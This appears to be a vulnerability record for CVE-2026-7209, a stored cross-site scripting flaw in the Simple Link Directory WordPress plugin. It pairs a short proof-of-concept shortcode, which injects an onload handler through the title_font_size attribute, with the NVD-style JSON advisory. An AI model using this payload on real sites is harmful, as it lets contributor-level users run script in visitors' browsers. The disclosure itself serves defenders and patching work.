CVE-2026-7209

<!-- PoC for Stored XSS in Simple Link Directory Plugin --> <!-- Usage: Add this shortcode to a page/post with Contributor access --> [qcopd-directory title_font_size="20px'onload='alert(1)'"] <!-- Explanation: The single quote closes the style attribute value, allowing the insertion of an onload event handler that executes arbitrary JS. -->

{"cve": {"id": "CVE-2026-7209", "sourceIdentifier": "[email protected]", "published": "2026-05-02T04:16:23.453", "lastModified": "2026-05-05T19:17:22.860", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Simple Link Directory plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `qcopd-directory` shortcode in all versions up to, and including, 8.9.2. This is due to insufficient input sanitization and output escaping on user supplied attributes such as `title_font_size`. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/simple-link-directory/tags/8.9.2/qc-op-directory-shortcodes.php#L88", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/simple-link-directory/tags/8.9.2/templates/style-1/template.php#L118", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/simple-link-directory/tags/8.9.4/qc-op-directory-shortcodes.php#L116", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/simple-link-directory/tags/8.9.4/qc-op-directory-shortcodes.php#L145", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/simple-link-directory", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9a7ca5f6-89c0-49ce-9aef-2208365c6151?source=cve", "source": "[email protected]"}]}}